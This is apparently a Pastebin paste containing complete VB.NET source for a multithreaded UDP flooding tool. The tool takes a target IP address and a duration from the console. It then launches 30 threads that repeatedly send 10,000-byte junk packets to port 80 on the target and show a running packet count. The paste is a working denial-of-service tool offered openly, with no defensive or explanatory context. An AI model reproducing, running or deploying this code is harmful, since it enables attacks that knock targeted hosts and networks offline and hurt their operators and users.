Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Threading
- Imports System.IO
- Imports System.Text
- Imports System.Net, System.Net.Sockets
- Module Main
- Sub Main(ByVal args As String())
- Dim Misc As New Misc
- Dim packet As Byte() = Encoding.UTF8.GetBytes(Misc.getRandomString(10000))
- Dim input As String
- Dim _params As String()
- While True
- input = Console.ReadLine
- If input.Contains(" ") Then
- _params = input.Split(" ")
- Try
- If Integer.Parse(_params(1)) > 0 Then
- Dim UdpFlooder As New Flooder(_params(0), 80, Integer.Parse(_params(1)), 30, packet)
- Else
- Console.WriteLine("Current time: {0}, Format: 1/{1}",
- Integer.Parse(_params(1)), Integer.MaxValue)
- End If
- Catch ex As Exception
- Console.WriteLine("Syntax error")
- End Try
- End If
- End While
- End Sub
- Public Class Misc
- Public Function getRandomString(ByVal length As Integer) As String
- Dim output As New StringBuilder
- Dim chars As String = "abcdefghijklmnopqrstuvwxyz"
- Dim rand As New Random
- For i As Integer = 1 To length
- output.Append(chars(rand.Next(0, chars.Length)))
- Next
- Return output.ToString
- End Function
- End Class
- Public Class Flooder
- Private _UdpClient As UdpClient
- Private _IPEndPoint As IPEndPoint
- Private _packet As Byte()
- Private clock As Status
- Private Shared curr_packetCount As Integer
- Public Sub New(ByVal addr$, ByVal port As Integer,
- ByVal time As Integer, ByVal threads As Integer, ByVal packet As Byte())
- Me._UdpClient = New UdpClient
- Me._IPEndPoint = New IPEndPoint(IPAddress.Parse(addr), port)
- Me._packet = packet
- clock = New Status(time)
- Dim _thrd As Thread
- For i As Integer = 1 To threads
- _thrd = New Thread(AddressOf start)
- _thrd.Start()
- Console.WriteLine("Thread {0} started!", i)
- Next
- End Sub
- Private Sub start()
- While Me.clock.getStatus
- Try
- Me._UdpClient.Send(Me._packet, Me._packet.Length, Me._IPEndPoint)
- curr_packetCount += 1
- Console.WriteLine("{0} KB sent to {1}:{2}", Me._packet.Length / 1000, Me._IPEndPoint.Address,
- Me._IPEndPoint.Port)
- Catch : End Try
- End While
- End Sub
- Public Shared Function getCurrPacketCount() As Integer
- Return Flooder.curr_packetCount
- End Function
- End Class
- Public Class Status
- Private result As Boolean
- Private max_time As Integer
- Public Sub New(ByVal time As Integer)
- Me.result = True
- Me.max_time = time
- Dim clock As New Thread(AddressOf start)
- clock.Start()
- End Sub
- Private Sub start()
- For i As Integer = 1 To Me.max_time
- Console.Title = String.Format("Time: {0}/{1}, Packets: {2}", i, Me.max_time,
- Flooder.getCurrPacketCount)
- Thread.Sleep(1000)
- Next
- Console.Title = "Stopped!"
- Me.result = False
- End Sub
- Public Function getStatus() As Boolean
- Return Me.result
- End Function
- End Class
- End Module
Advertisement
Add Comment
Please, Sign In to add comment